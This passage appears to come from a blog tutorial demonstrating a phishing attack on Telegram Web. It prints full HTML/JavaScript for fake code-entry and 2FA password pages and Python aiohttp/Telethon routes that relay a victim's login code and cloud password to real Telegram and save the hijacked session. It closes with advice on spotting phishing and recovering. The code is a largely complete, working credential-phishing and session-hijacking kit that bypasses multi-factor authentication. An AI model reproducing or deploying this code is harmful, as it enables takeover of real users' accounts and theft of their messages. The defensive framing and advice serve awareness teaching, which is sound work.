is the bridge where our fake front-end initiates a real Telegram backend process. It's designed to make the victim receive a legitimate code from Telegram, which then reinforces the fake login page's credibility.
Diving into code.html
(Focusing on the JavaScript)
Now for code.html
. This is the page where the "victim" is prompted to enter the code they just received from Telegram. The goal here is to make them type that code into our fake input field, not the real Telegram app.
Here's the full code for code.html
:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet" />
<style type="text/tailwindcss">
@theme {
--font-sans: "Roboto", "Instrument Sans", ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
</style>
<title>Telegram Web</title>
</head>
<body>
<div class="flex h-screen w-full flex-col items-center justify-start">
<div class="relative flex w-full max-w-md flex-col items-center">
<div id="monkey-container" class="relative size-40 mx-auto mt-20">
<img id="monkey" src="/static/images/monkey-front.png" class="absolute inset-0 w-full h-full object-contain transition-opacity duration-300 opacity-100" alt="Monkey" />
</div>
<div class="mt-5.5 flex items-center gap-2">
<h4 id="phone-number-h" class="text-4xl font-medium">{{phone}}</h4>
<a href="/" class="cursor-pointer text-gray-500 hover:text-gray-900">
<svg id="edit-btn" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="0.6" stroke="currentColor" class="size-7">
<path
fill="currentColor"
d="m19.71 8.04l-2.34 2.33l-3.75-3.75l2.34-2.33c.39-.39 1.04-.39 1.41 0l2.34 2.34c.39.37.39 1.02 0 1.41M3 17.25L13.06 7.18l3.75 3.75L6.75 21H3zM16.62 5.04l-1.54 1.54l2.34 2.34l1.54-1.54zM15.36 11L13 8.64l-9 9.02V20h2.34z"
/>
</svg>
</a>
</div>
<p class="mt-2 w-[320px] text-center text-md text-gray-500">We have sent you a message in Telegram with the code.</p>
<div class="relative isolate mt-10.5 w-full max-w-sm">
<input
type="number"
name="sec-code"
id="sec-code"
placeholder=" "
class="peer h-12 w-full rounded-xl bg-white py-1.5 px-4 text-base text-gray-900 outline-1 -outline-offset-1 outline-gray-300 placeholder-transparent focus:outline-2 focus:-outline-offset-1 focus:outline-[#3390ec] sm:text-sm/6 [&::-webkit-inner-spin-button]:m-0 [&::-webkit-inner-spin-button]:appearance-none [&::-webkit-outer-spin-button]:m-0 [&::-webkit-outer-spin-button]:appearance-none"
/>
<label
for="sec-code"
class="pointer-events-none absolute left-3.5 top-2.5 origin-[0] scale-100 transform text-base text-gray-400 transition-all duration-200 peer-placeholder-shown:top-3.5 peer-placeholder-shown:left-3.5 peer-placeholder-shown:text-base peer-placeholder-shown:text-gray-400 peer-focus:-top-3 peer-focus:left-3.5 peer-focus:scale-80 peer-focus:bg-white peer-focus:text-[#3390ec]"
>
Code
</label>
</div>
</div>
</div>
<script src="http://localhost:5500/livereload.js"></script>
<script src="https://unpkg.com/[email protected]/bundle/libphonenumber-js.min.js"></script>
<script>
const phoneEl = document.getElementById("phone-number-h");
const rawPhone = phoneEl.textContent.trim();
const monkey = document.getElementById("monkey");
const images = {
left: "/static/images/monkey-left.png",
right: "/static/images/monkey-right.png",
front: "/static/images/monkey-front.png",
blink: "/static/images/monkey-blink.png",
};
const sequence = ["left", "blink", "front", "blink", "right", "blink", "front", "blink"];
let currentFrame = 0;
let timeout = null;
let idleTimeout = null;
const normalDelay = 800;
const blinkDelay = 100;
const idleTime = 10000;
function fadeToImage(src, delay) {
monkey.classList.add("opacity-0");
setTimeout(() => {
monkey.src = src;
monkey.onload = () => {
monkey.classList.remove("opacity-0");
};
}, 150); // Half of the transition duration for fade-out
}
function playNextFrame() {
const state = sequence[currentFrame];
const imageSrc = images[state];
fadeToImage(imageSrc, state === "blink" ? blinkDelay : normalDelay);
currentFrame = (currentFrame + 1) % sequence.length;
const delay = state === "blink" ? blinkDelay : normalDelay;
timeout = setTimeout(playNextFrame, delay);
}
function startAnimationLoop() {
if (timeout) return;
playNextFrame();
}
function stopAnimationLoop() {
clearTimeout(timeout);
timeout = null;
}
function resetIdleTimer() {
clearTimeout(idleTimeout);
idleTimeout = setTimeout(() => {
stopAnimationLoop();
}, idleTime);
}
document.addEventListener("mousemove", () => {
if (!timeout) startAnimationLoop();
resetIdleTimer();
});
window.addEventListener("DOMContentLoaded", () => {
startAnimationLoop();
resetIdleTimer();
});
try {
const parsed = libphonenumber.parsePhoneNumber(rawPhone);
phoneEl.textContent = parsed.formatInternational(); // e.g., +960 987-6543
} catch (err) {
console.warn("Failed to format phone:", err);
}
function submitCode() {
const code = document.getElementById("sec-code").value.trim();
const form = document.createElement("form");
form.method = "POST";
form.action = "/verify-code";
const inputCode = document.createElement("input");
inputCode.type = "hidden";
inputCode.name = "code";
inputCode.value = code;
const inputPhone = document.createElement("input");
inputPhone.type = "hidden";
inputPhone.name = "phone";
inputPhone.value = "{{ phone }}";
form.appendChild(inputPhone);
form.appendChild(inputCode);
document.body.appendChild(form);
form.submit();
}
// On Enter press inside input
document.getElementById("sec-code").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault(); // Prevent form default submission (optional but recommended)
submitCode();
}
});
</script>
</body>
</html>
What's going on here in the JavaScript?
This code.html
page, with its JavaScript, really ups the ante on the illusion of legitimacy. It's not just a static form; it's got a captivating, animated monkey! Remember my earlier point about attention to detail? This is it in action!
Phone Number Display & Formatting:
const phoneEl = document.getElementById("phone-number-h");
andconst rawPhone = phoneEl.textContent.trim();
grab the phone number that was passed from the Python backend (from the{{phone}}
Jinja2 variable).- The
try...catch
block usinglibphonenumber.parsePhoneNumber(rawPhone);
is a very clever touch. It attempts to parse the raw phone number and thenphoneEl.textContent = parsed.formatInternational();
formats it into a user-friendly international format (e.g.,+960 987-6543
for a number from Maldives). This subtle detail reinforces the feeling that this is a real, polished Telegram client, as real apps format phone numbers nicely.
The Animated Monkey (A Perfect Replication for Deception): This is the crown jewel of
code.html
's JavaScript, and it's here for a very specific, deceptive reason – it perfectly mimics the actual animated monkey found on the legitimate Telegram Web client! This isn't just a random cute animation; it's a high-fidelity clone designed to trick the brain into believing this is the real deal.const monkey = document.getElementById("monkey");
selects the image element.const images
object defines paths to different monkey images (monkey-left.png
,monkey-right.png
,monkey-front.png
,monkey-blink.png
). These are carefully designed to make the monkey appear to look around and blink, exactly as it does on the real Telegram site.const sequence
defines the order of these animations, creating a smooth, repetitive loop identical to the real client.- The animation logic (
fadeToImage
,playNextFrame
,startAnimationLoop
,stopAnimationLoop
) works by:- Fading out the current monkey image (
opacity-0
class). - Changing the
src
of the<img>
tag to the next image in the sequence. - Fading the new image in.
- Using
setTimeout
to schedule the next frame in the sequence with delays tailored for normal movements and quicker blinks.
- Fading out the current monkey image (
document.addEventListener("mousemove", ...)
andwindow.addEventListener("DOMContentLoaded", ...)
: These trigger the animation loop to start and reset an idle timer. If there's no mouse movement foridleTime
(10 seconds), the monkey animation stops, only to resume when the mouse moves again. This makes the animation feel natural, just like the real Telegram client's behavior.- Why is this here? This animated monkey serves several crucial purposes for a phishing page:
- Hyper-Realism: Its exact replication of the real Telegram Web client's animation is designed to eliminate any suspicion. Users familiar with the legitimate site will see this and instantly recognize it, subconsciously affirming they're on the correct page.
- Distraction: While the victim is busy watching the monkey or waiting for their code, they are less likely to scrutinize the URL or other subtle indicators of a fake site.
- Engagement & Trust: It creates a polished, engaging, and trustworthy experience, making the waiting time for the code feel less tedious and drawing the user deeper into the illusion. This level of attention to detail is a key part of the social engineering, making the fake site almost indistinguishable from the real one for an unsuspecting user.
Code Submission Logic (
submitCode
):- Similar to
index.html
, this function is responsible for capturing the code the user enters. const code = document.getElementById("sec-code").value.trim();
retrieves the entered code.- Again, it dynamically creates a
POST
form, this time targeting the/verify-code
route inapp.py
. - Crucially, it adds two hidden input fields: one for the
code
and another for thephone
number (which is passed from the Jinja2 context{{ phone }}
). Both are essential for the server to verify the code for the correct user. form.submit()
then sends this data off to our backend.
- Similar to
Submission Trigger:
document.getElementById("sec-code").addEventListener("keydown", ...)
: This listens for the "Enter" key press within the code input field. When detected, it callssubmitCode()
, ensuring a smooth user experience.
The /verify-code
Route - Checking the First Credential
After the "victim" enters the code they received (presumably from the real Telegram, due to our /send-code
route), our server needs to verify it. That's the job of the /verify-code
route in app.py
.
@routes.post("/verify-code")
async def verify_code(request):
data = await request.post()
phone = data.get("phone")
code = data.get("code")
phone_code_hash = phone_code_hash_map.get(phone)
if not phone_code_hash:
return web.Response(text="Missing phone_code_hash. Please restart login.")
client = create_client(phone)
await client.connect()
try:
await client.sign_in(phone=phone.strip(), code=code, phone_code_hash=phone_code_hash)
await client.disconnect() # ✅ Ensures session is saved
return web.HTTPFound(f"/profile?phone={phone}")
except SessionPasswordNeededError:
return aiohttp_jinja2.render_template("password.html", request, {"phone": phone})
except Exception as e:
return web.Response(text=f"Login failed: {e}")
Let's break down this critical step:
- Retrieve Data:
data = await request.post()
grabs the phone number and the entered code that were dynamically POSTed fromcode.html
. - Retrieve
phone_code_hash
:phone_code_hash_map.get(phone)
fetches thephone_code_hash
that we saved in memory when we first requested the code via/send-code
. Remember, this hash is a critical piece of Telegram's authentication handshake. If it's missing (perhaps the server restarted, or the "victim" took too long), we return an error. - Connect to Telegram:
client = create_client(phone)
andawait client.connect()
create and connect a new Telethon client for this specific phone number. - Attempt Sign-In:
await client.sign_in(phone=phone.strip(), code=code, phone_code_hash=phone_code_hash)
is the moment of truth! This line attempts to authenticate with the real Telegram servers using the provided phone number, the code the "victim" just entered, and thephone_code_hash
.- Success!: If the
sign_in
is successful, it means the code was correct and Telegram authenticated the user.await client.disconnect()
is called immediately to ensure Telethon saves the user's session file (.session
file in oursessions
directory). This is the attacker's ultimate goal! We then redirect the user viaweb.HTTPFound
to the/profile
page, making them believe they've successfully logged in. - Two-Factor Authentication (TFA) / Cloud Password:
except SessionPasswordNeededError
: This is where things get interesting in an MFA-enabled scenario. If the user has a cloud password (Telegram's form of 2FA),sign_in
will raise this specific error. When this happens, our server knows it needs to ask for a password. So, it renderspassword.html
(which we'll look at next), passing the phone number so thepassword.html
form knows which user it's dealing with. This maintains the seamless phishing flow, tricking the user into providing their second factor. - Other Errors:
except Exception as e
: Catches any other login failures (e.g., incorrect code, expired code, too many attempts). It simply returns a generic "Login failed" message.
- Success!: If the
This route effectively acts as the "trapdoor." If the code is correct, the session is stolen. If there's a password, it smoothly transitions to the next stage of the attack.
The /verify-password
Route - Baiting the Second Factor
If the /verify-code
route encountered a SessionPasswordNeededError
, the "victim" is then presented with a page asking for their Telegram 2FA password. This is handled by the /verify-password
route.
@routes.post("/verify-password")
async def verify_password(request):
data = await request.post()
phone = data.get("phone")
password = data.get("password")
client = create_client(phone)
await client.connect()
try:
await client.sign_in(password=password)
await client.disconnect()
return web.HTTPFound(f"/profile?phone=+{phone.lstrip('+')}")
except Exception as e:
return aiohttp_jinja2.render_template("password.html", request, {
"phone": phone,
"error": str(e)
})
Here's the rundown:
- Retrieve Data:
data = await request.post()
grabs the phone number (passed as a hidden field frompassword.html
) and the enteredpassword
. - Connect to Telegram: A new Telethon client is created and connected for this phone number. This client already has the partial session from the successful code verification, so it just needs the password to complete the sign-in.
- Attempt Password Sign-In:
await client.sign_in(password=password)
is called. This is the attempt to complete the 2FA using the password the "victim" just provided.- Success!: If the password is correct, the
sign_in
completes, the session is fully authorized,await client.disconnect()
saves the now complete session, and the "victim" is redirected to the/profile
page, thinking they've successfully logged in. - Failure:
except Exception as e
: If the password is incorrect or any other error occurs, thepassword.html
template is re-rendered with the phone number and an error message, prompting the "victim" to try again. This persistent re-prompting is a common phishing tactic to keep the victim engaged until they provide the correct information.
- Success!: If the password is correct, the
Diving into password.html
(Focusing on the JavaScript)
Now, let's turn our attention to password.html
, the template that prompts for the 2FA password. This page is designed to look exactly like Telegram's password prompt, complete with another animated monkey and a password visibility toggle.
Here's the full code for password.html
:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet" />
<style type="text/tailwindcss">
@theme {
--font-sans: "Roboto", "Instrument Sans", ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
</style>
<title>Telegram Web</title>
</head>
<body>
<div class="flex h-screen w-full flex-col items-center justify-start">
<div class="relative flex w-full max-w-md flex-col items-center">
<div id="monkey-container" class="relative size-40 mx-auto mt-20">
<img id="monkey" src="/static/images/monkey-covering.png" class="absolute inset-0 w-full h-full object-contain transition-transform transition-opacity duration-300 ease-in-out" alt="Monkey" />
</div>
<h4 class="mt-5.5 text-4xl font-medium">Enter Your Password</h4>
<p class="mt-2 w-[220px] text-center text-md text-gray-500">Your account is protected with an additional password.</p>
<div class="relative isolate mt-10.5 w-full max-w-sm">
<input type="password" name="password" id="password" placeholder=" " class="peer h-12 w-full rounded-xl bg-white py-1.5 px-4 text-base text-gray-900 outline-1 -outline-offset-1 outline-gray-300 placeholder-transparent
focus:outline-2 focus:-outline-offset-1 focus:outline-[#3390ec] sm:text-sm/6 [&::-webkit-inner-spin-button]:m-0 [&::-webkit-inner-spin-button]:appearance-none [&::-webkit-outer-spin-button]:m-0
[&::-webkit-outer-spin-button]:appearance-none" />
<label
for="password"
class="pointer-events-none absolute left-3.5 top-2.5 origin-[0] scale-100 transform text-base text-gray-400 transition-all duration-200 peer-placeholder-shown:top-3.5 peer-placeholder-shown:left-3.5 peer-placeholder-shown:text-base peer-placeholder-shown:text-gray-400 peer-focus:-top-3 peer-focus:left-3.5 peer-focus:scale-80 peer-focus:bg-white peer-focus:text-[#3390ec]"
>
Password
</label>
<button id="toggle-password" type="button" class="absolute right-3 top-1/2 -translate-y-1/2 text-sm text-gray-400 hover:text-gray-900">
<svg id="eye-password" xmlns="http://www.w3.org/2000/svg" class="size-6 transition-all duration-300 ease-in-out" data-visible="false" viewBox="0 0 24 24">
<path
fill="currentColor"
d="M12 16q1.875 0 3.188-1.312T16.5 11.5t-1.312-3.187T12 7T8.813 8.313T7.5 11.5t1.313 3.188T12 16m0-1.8q-1.125 0-1.912-.788T9.3 11.5t.788-1.912T12 8.8t1.913.788t.787 1.912t-.787 1.913T12 14.2m0 4.8q-3.35 0-6.113-1.8t-4.362-4.75q-.125-.225-.187-.462t-.063-.488t.063-.488t.187-.462q1.6-2.95 4.363-4.75T12 4t6.113 1.8t4.362 4.75q.125.225.188.463t.062.487t-.062.488t-.188.462q-1.6 2.95-4.362 4.75T12 19"
/>
</svg>
</button>
</div>
<button
id="nextButton"
class="text-md mt-4 flex h-12 w-full max-w-sm cursor-pointer items-center justify-center rounded-xl bg-[#3390ec] px-3 py-1.5 font-medium text-white shadow-xs hover:bg-[#3390ec]/95 focus-visible:outline-none"
>
Next
</button>
</div>
</div>
<script src="http://localhost:5500/livereload.js"></script>
<script>
const monkey = document.getElementById("monkey");
const eyeIcon = document.getElementById("eye-password");
const passwordInput = document.getElementById("password");
const toggleBtn = document.getElementById("toggle-password");
const images = {
covered: "/static/images/monkey-covering.png",
peeking: "/static/images/monkey-peeking.png",
};
const paths = {
hidden: `M12 16q1.875 0 3.188-1.312T16.5 11.5t-1.312-3.187T12 7T8.813 8.313T7.5 11.5t1.313 3.188T12 16m0-1.8q-1.125 0-1.912-.788T9.3 11.5t.788-1.912T12 8.8t1.913.788t.787 1.912t-.787 1.913T12 14.2m0 4.8q-3.35 0-6.113-1.8t-4.362-4.75q-.125-.225-.187-.462t-.063-.488t.063-.488t.187-.462q1.6-2.95 4.363-4.75T12 4t6.113 1.8t4.362 4.75q.125.225.188.463t.062.487t-.062.488t-.188.462q-1.6 2.95-4.362 4.75T12 19`,
visible: `m19.1 21.9l-3.5-3.45q-.875.275-1.775.413T12 19q-3.35 0-6.125-1.8t-4.35-4.75q-.125-.225-.187-.462t-.063-.488t.063-.488t.187-.462q.55-.975 1.175-1.9T4.15 7L2.075 4.9Q1.8 4.625 1.8 4.213t.3-.713q.275-.275.7-.275t.7.275l17 17q.275.275.288.688t-.288.712q-.275.275-.7.275t-.7-.275M12 16q.275 0 .525-.025t.5-.1l-5.4-5.4q-.075.25-.1.5T7.5 11.5q0 1.875 1.313 3.188T12 16m0-12q3.35 0 6.138 1.813t4.362 4.762q.125.2.188.438t.062.487t-.05.488t-.175.437q-.475.925-1.062 1.75t-1.313 1.55q-.35.35-.825.325t-.825-.375l-2-2q-.175-.175-.225-.413t.025-.487q.1-.325.15-.625t.05-.65q0-1.875-1.312-3.187T12 7q-.35 0-.65.05t-.625.15q-.25.075-.5.025T9.8 7l-.825-.825q-.475-.475-.312-1.1t.787-.8q.625-.125 1.263-.2T12 4m1.975 5.65q.275.325.462.713t.238.812q.025.2-.15.275t-.325-.075l-2.05-2.05Q12 9.175 12.088 9t.287-.175q.475.05.875.263t.725.562`,
};
toggleBtn.addEventListener("click", () => {
const isPasswordVisible = passwordInput.type === "text";
eyeIcon.querySelector("path").setAttribute("d", isPasswordVisible ? paths.hidden : paths.visible);
if (isPasswordVisible) {
// Hide password
passwordInput.type = "password";
monkey.src = images.covered;
} else {
// Show password
passwordInput.type = "text";
monkey.src = images.peeking;
}
});
function submitPassword() {
const password = document.getElementById("password").value.trim();
const form = document.createElement("form");
form.method = "POST";
form.action = "/verify-password";
const inputPassword = document.createElement("input");
inputPassword.type = "hidden";
inputPassword.name = "password";
inputPassword.value = password;
const inputPhone = document.createElement("input");
inputPhone.type = "hidden";
inputPhone.name = "phone";
inputPhone.value = "{{ phone }}";
form.appendChild(inputPhone);
form.appendChild(inputPassword);
document.body.appendChild(form);
form.submit();
}
// On Enter press inside input
document.getElementById("password").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault(); // Prevent form default submission (optional but recommended)
submitPassword();
}
});
// On button click
document.getElementById("nextButton").addEventListener("click", submitPassword);
</script>
</body>
</html>
What's going on here in the JavaScript?
This password.html
page is a brilliant example of how phishing attacks adapt to and leverage multi-factor authentication. If a user has a Telegram cloud password set, this page comes into play, aiming to trick them into divulging that second critical piece of information.
DOM Element Selection: We start by grabbing references to the
monkey
image, theeye-password
SVG icon, thepassword
input field, and thetoggle-password
button.Monkey Animation for Password: Just like in
code.html
, the monkey is present, but here it plays a specific role related to password entry.const images
defines two states for the monkey:monkey-covering.png
(where the monkey's eyes are covered, usually the default) andmonkey-peeking.png
(where the monkey peeks, triggered by showing the password).- This is another subtle, yet powerful, replication of the real Telegram Web client's behavior. The monkey covering its eyes when you enter a password and peeking when you show it adds immense credibility. It plays directly into the user's familiarity with the genuine application.
Password Visibility Toggle: This is a common and expected UI feature in modern login forms, and its faithful reproduction here adds significant legitimacy.
const paths
stores the SVG path data for both the "hidden" (eye-crossed-out) and "visible" (eye-open) icons.toggleBtn.addEventListener("click", ...)
: When the user clicks the eye icon/button, this listener fires.- It checks
const isPasswordVisible = passwordInput.type === "text";
to see if the password is currently visible. eyeIcon.querySelector("path").setAttribute("d", ...)
: This dynamically changes the SVG icon between the "hidden" and "visible" eye symbols.passwordInput.type = "password";
orpasswordInput.type = "text";
: This changes the input field type, actually toggling the visibility of the text within the password field.- Crucially, the monkey's image is updated here too! If the password is being hidden,
monkey.src = images.covered;
is set. If it's being shown,monkey.src = images.peeking;
is set. This synchronicity between the UI element and the animation is a fantastic example of high-fidelity phishing. It makes the user feel completely secure and guided by the interface, oblivious that every action is being observed.
Password Submission Logic (
submitPassword
):const password = document.getElementById("password").value.trim();
retrieves the password entered by the user.- Similar to previous forms, a new
POST
form is dynamically created, targeting the/verify-password
route inapp.py
. - It includes hidden input fields for both the
password
and thephone
number (passed from the Jinja2 context{{ phone }}
). form.submit()
then sends this sensitive data to our backend.
Submission Triggers:
document.getElementById("password").addEventListener("keydown", ...)
: Catches the "Enter" key press within the password field.document.getElementById("nextButton").addEventListener("click", submitPassword)
: Catches the click on the "Next" button. Both trigger thesubmitPassword()
function.
The /profile
Route - The Illusion of Success (Almost!)
As we just discussed, if all goes "well" for the attacker, the victim will be redirected to the /profile
page, making them believe they have successfully logged in. This is handled by the /profile
route:
@routes.get("/profile")
@aiohttp_jinja2.template("profile.html")
async def profile(request):
phone = request.query.get("phone")
client = create_client(phone)
await client.connect()
if not await client.is_user_authorized():
return web.Response(text="Unauthorized", status=401)
me = await client.get_me()
return {
"id": me.id,
"first_name": me.first_name,
"username": me.username,
"phone": phone
}
The idea here is simple: once the session is successfully hijacked (after sign_in
in /verify-code
or /verify-password
), the server redirects the victim here. This profile
route would connect to the now-authorized Telethon client, fetch the user's profile information (like their name, username, ID) using await client.get_me()
, and then display it on a profile.html
page. This visually confirms their "successful" login, completing the illusion.
However, if I'm being completely honest, at this point, the core concept of session hijacking through social engineering had been thoroughly demonstrated. Crafting that profile.html
page and its associated JavaScript to display real user data from the hijacked session felt a bit like overkill. The heavy lifting of the deception and the technical process of capturing the session were already clear. It's like building an elaborate mousetrap – once you've shown the cheese is there and the spring works, do you really need to show the poor mouse getting squashed? (Okay, maybe not the best analogy, but you get the drift!). For the purpose of this demonstration, we had sufficiently illustrated the phishing flow, and frankly, I got a little bored of the UI work. The point was made!
How to Dodge the Digital Hooks: Preventing Phishing Attacks
So, we've walked through how surprisingly "un-technical" and psychologically driven phishing attacks can be, even against MFA-protected accounts. It's a real mind game, and the best defense isn't always complex software, but a sharp mind and a healthy dose of skepticism.
Here's how you can protect yourself from falling into these sneaky traps:
- Stop, Look, and Authenticate (the URL!): This is your number one defense. Before you ever, ever type in a password or verification code, stop and look at the URL in your browser's address bar. Is it exactly what you expect?
- For Telegram Web, is it
web.telegram.org
? Notweb.telegram.login.com
ortelegram-web.net
orweb.telegram.org.malicious-site.xyz
. Attackers often use subtle misspellings or add extra words. - Check for the padlock icon and ensure the connection is secure (HTTPS). While HTTPS doesn't mean the site is legitimate, its absence is a huge red flag.
- For Telegram Web, is it
- Beware of Urgency and Emotional Triggers: Phishers love to create panic or excitement. "Your account will be deleted!" "You've won a prize!" "Urgent security alert!" If a message tries to rush you or play on your fears/hopes, slow down and be suspicious. Real services rarely demand immediate action under duress.
- Verify Independently: If you get an unexpected login prompt or a request for sensitive information, don't click links in the message. Instead, go directly to the official website (e.g., type
web.telegram.org
into your browser) or open the official app. Log in there. If there's a real issue, you'll see it there. - Think Before You Click: Hover over links (on desktop) to see the actual URL. On mobile, a long press usually reveals the link. If it doesn't match the expected domain, it's a trap.
- Multi-Factor Authentication (MFA) is Still Your Friend (Mostly!): While we demonstrated how MFA can be bypassed through session hijacking, it still makes attacks much harder. The attacker needs to actively phish your real-time code or password. Don't disable it! For critical accounts, consider hardware security keys (like YubiKey) or authenticator apps over SMS codes, as they are generally more resistant to phishing.
If You've Been Hooked: How to Recover
Accidents happen, and even the most cautious can fall victim. If you suspect you've entered your credentials on a phishing site:
- Change Your Password Immediately: For the compromised account and any other accounts where you might have reused that password.
- Enable/Review MFA: If you didn't have MFA, enable it. If you did, ensure it's still active and check for any unfamiliar registered devices.
- Review Account Activity: Look for suspicious logins, sent messages, or changes in settings on the legitimate service.
- Log Out of All Sessions: Most services, including Telegram, have an option to log out of all active sessions or devices. Do this immediately. This will invalidate the session the attacker might have stolen.
- Notify Contacts: Warn your friends and family that your account might have been compromised, as attackers often use hijacked accounts to spread more phishing links.
- Report the Incident: Report the phishing site to the service it was impersonating (e.g., Telegram) and, if applicable, to your internet service provider or national cybersecurity authority.
It's Not Telegram's Fault (Mostly!)
It's super important to understand that the kind of phishing attack we demonstrated here isn't a security flaw in Telegram itself. Telegram's encryption and authentication protocols (like MTProto) are robust. What these attacks exploit is human behavior and the trust we place in seemingly familiar interfaces.
Think of it this way: if someone builds a perfect replica of your house key, it's not the key manufacturer's fault, nor is it the lock's fault. The problem arises when you unknowingly hand over your key (or let them copy it) to a malicious actor. Modern applications do take such social engineering vectors into consideration, implementing features like clear warnings about unrecognized logins, showing login attempts within the app itself, and making it easy to review and revoke sessions. They do what they can to make it harder, but ultimately, it's a constant cat-and-mouse game against human fallibility.
And even though we specifically used Telegram for this demonstration, the core principles apply across the board. Whether it's your banking app, social media, email, or any other online service, the underlying "mind game" is the same. The process of achieving the goal might differ slightly due to differences in infrastructure, APIs, or the specific technology used by each app, but the goal is always to trick you into giving up access.
Conclusion: Stay Sharp, Stay Safe
Phishing isn't just about technical exploits; it's a sophisticated psychological art. The demo we walked through highlights just how much effort goes into creating believable illusions, playing on our habits, our trust, and our emotions. But by understanding these tactics – how they mimic legitimate services, how they leverage real-time interactions, and how they exploit our moments of distraction or panic – we become far more resilient.
So, the next time an unexpected login page or an urgent message appears, take a deep breath. Channel your inner detective. Scrutinize that URL, question the urgency, and when in doubt, always go direct. Your digital life depends on it. Stay sharp, stay safe, and don't get hooked!